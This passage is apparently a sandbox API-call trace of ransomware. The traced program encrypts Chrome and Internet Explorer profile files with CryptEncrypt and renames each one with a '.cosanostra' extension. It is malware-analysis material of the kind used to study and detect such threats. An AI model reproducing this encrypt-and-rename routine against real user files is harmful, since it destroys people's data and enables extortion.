(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.648] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal") returned 97 [0087.648] StrStrW (lpFirst="Shortcuts-journal", lpSrch=".txt") returned 0x0 [0087.648] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.648] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf5ec*=0x0, lpOverlapped=0x0) returned 1 [0087.648] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.648] WriteFile (in: hFile=0x190, lpBuffer=0x2abf62c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf62c*, lpNumberOfBytesWritten=0x2abf5ec*=0x4, lpOverlapped=0x0) returned 1 [0087.651] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5ec*=0x30, lpOverlapped=0x0) returned 1 [0087.651] CloseHandle (hObject=0x190) returned 1 [0087.651] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts-journal.cosanostra")) returned 1 [0087.654] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf630 | out: pbBuffer=0x2abf630) returned 1 [0087.654] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf628*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf628*=0x30) returned 1 [0087.655] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.655] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts") returned 89 [0087.655] StrStrW (lpFirst="Shortcuts", lpSrch=".txt") returned 0x0 [0087.807] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.807] WriteFile (in: hFile=0x190, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x2abf5ec*=0x2800, lpOverlapped=0x0) returned 1 [0087.807] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.807] WriteFile (in: hFile=0x190, lpBuffer=0x2abf62c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf62c*, lpNumberOfBytesWritten=0x2abf5ec*=0x4, lpOverlapped=0x0) returned 1 [0087.807] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5ec*=0x30, lpOverlapped=0x0) returned 1 [0087.807] CloseHandle (hObject=0x190) returned 1 [0087.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts.cosanostra")) returned 1 [0087.810] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf620 | out: pbBuffer=0x2abf620) returned 1 [0087.810] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf618*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf618*=0x30) returned 1 [0087.810] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.811] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned 83 [0087.811] StrStrW (lpFirst="Local State", lpSrch=".txt") returned 0x0 [0087.855] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.855] WriteFile (in: hFile=0x190, lpBuffer=0x2b8870*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf5dc, lpOverlapped=0x0 | out: lpBuffer=0x2b8870*, lpNumberOfBytesWritten=0x2abf5dc*=0x2800, lpOverlapped=0x0) returned 1 [0087.855] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.855] WriteFile (in: hFile=0x190, lpBuffer=0x2abf61c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5dc, lpOverlapped=0x0 | out: lpBuffer=0x2abf61c*, lpNumberOfBytesWritten=0x2abf5dc*=0x4, lpOverlapped=0x0) returned 1 [0087.862] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5dc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5dc*=0x30, lpOverlapped=0x0) returned 1 [0087.863] CloseHandle (hObject=0x190) returned 1 [0087.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\local state.cosanostra")) returned 1 [0087.865] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf618 | out: pbBuffer=0x2abf618) returned 1 [0087.865] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf610*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf610*=0x30) returned 1 [0087.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0087.865] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity") returned 97 [0087.865] StrStrW (lpFirst="TransportSecurity", lpSrch=".txt") returned 0x0 [0087.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffd88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.904] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x278, lpNumberOfBytesWritten=0x2abf5d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf5d4*=0x278, lpOverlapped=0x0) returned 1 [0087.904] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.904] WriteFile (in: hFile=0x190, lpBuffer=0x2abf614*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf614*, lpNumberOfBytesWritten=0x2abf5d4*=0x4, lpOverlapped=0x0) returned 1 [0087.904] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5d4*=0x30, lpOverlapped=0x0) returned 1 [0087.904] CloseHandle (hObject=0x190) returned 1 [0087.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\TransportSecurity.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\transportsecurity.cosanostra")) returned 1 [0087.905] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf618 | out: pbBuffer=0x2abf618) returned 1 [0087.905] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf610*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf610*=0x30) returned 1 [0087.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.914] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf610 | out: pbBuffer=0x2abf610) returned 1 [0087.914] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf608*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf608*=0x30) returned 1 [0087.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.967] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf610 | out: pbBuffer=0x2abf610) returned 1 [0087.967] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf608*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf608*=0x30) returned 1 [0087.967] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.968] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned 94 [0087.968] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0087.969] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.969] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf5cc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf5cc*=0x2800, lpOverlapped=0x0) returned 1 [0087.969] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.970] WriteFile (in: hFile=0x154, lpBuffer=0x2abf60c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf60c*, lpNumberOfBytesWritten=0x2abf5cc*=0x4, lpOverlapped=0x0) returned 1 [0087.970] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5cc*=0x30, lpOverlapped=0x0) returned 1 [0087.970] CloseHandle (hObject=0x154) returned 1 [0087.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\index.dat.cosanostra")) returned 1 [0087.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf608 | out: pbBuffer=0x2abf608) returned 1 [0087.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf600*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf600*=0x30) returned 1 [0087.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf600 | out: pbBuffer=0x2abf600) returned 1 [0087.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5f8*=0x30) returned 1 [0087.974] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\fkluidu0\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.975] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5f8 | out: pbBuffer=0x2abf5f8) returned 1 [0087.975] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5f0*=0x30) returned 1 [0087.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.975] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml") returned 110 [0087.976] StrStrW (lpFirst="get.adobe[1].xml", lpSrch=".txt") returned 0x0 [0087.976] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffff3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.976] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x2abf5b4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf5b4*=0xd, lpOverlapped=0x0) returned 1 [0087.976] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.976] WriteFile (in: hFile=0x154, lpBuffer=0x2abf5f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf5b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf5f4*, lpNumberOfBytesWritten=0x2abf5b4*=0x4, lpOverlapped=0x0) returned 1 [0087.977] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf5b4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf5b4*=0x30, lpOverlapped=0x0) returned 1 [0087.977] CloseHandle (hObject=0x154) returned 1 [0087.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.cosanostra")) returned 1 [0087.977] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5f8 | out: pbBuffer=0x2abf5f8) returned 1 [0087.978] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5f0*=0x30) returned 1 [0087.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.978] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5f0 | out: pbBuffer=0x2abf5f0) returned 1 [0087.978] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5e8*=0x30) returned 1 [0087.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5e8 | out: pbBuffer=0x2abf5e8) returned 1 [0087.979] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5e0*=0x30) returned 1 [0087.979] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5e8 | out: pbBuffer=0x2abf5e8) returned 1 [0087.979] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5e0*=0x30) returned 1 [0087.979] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\3lkbqzj3\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5e0 | out: pbBuffer=0x2abf5e0) returned 1 [0087.979] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5d8*=0x30) returned 1 [0087.979] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5e0 | out: pbBuffer=0x2abf5e0) returned 1 [0087.979] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5d8*=0x30) returned 1 [0087.979] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5d8 | out: pbBuffer=0x2abf5d8) returned 1 [0087.980] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5d0*=0x30) returned 1 [0087.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.980] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt") returned 87 [0087.981] StrStrW (lpFirst="brndlog.txt", lpSrch=".txt") returned=".txt" [0087.981] lstrlenW (lpString=".txt") returned 4 [0087.981] lstrlenW (lpString=".txt") returned 4 [0087.989] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.989] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf594, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf594*=0x2800, lpOverlapped=0x0) returned 1 [0087.989] ReadFile (in: hFile=0x154, lpBuffer=0x229f48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x2abf594, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesRead=0x2abf594*=0x7b0, lpOverlapped=0x0) returned 1 [0087.989] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff850, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.990] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, 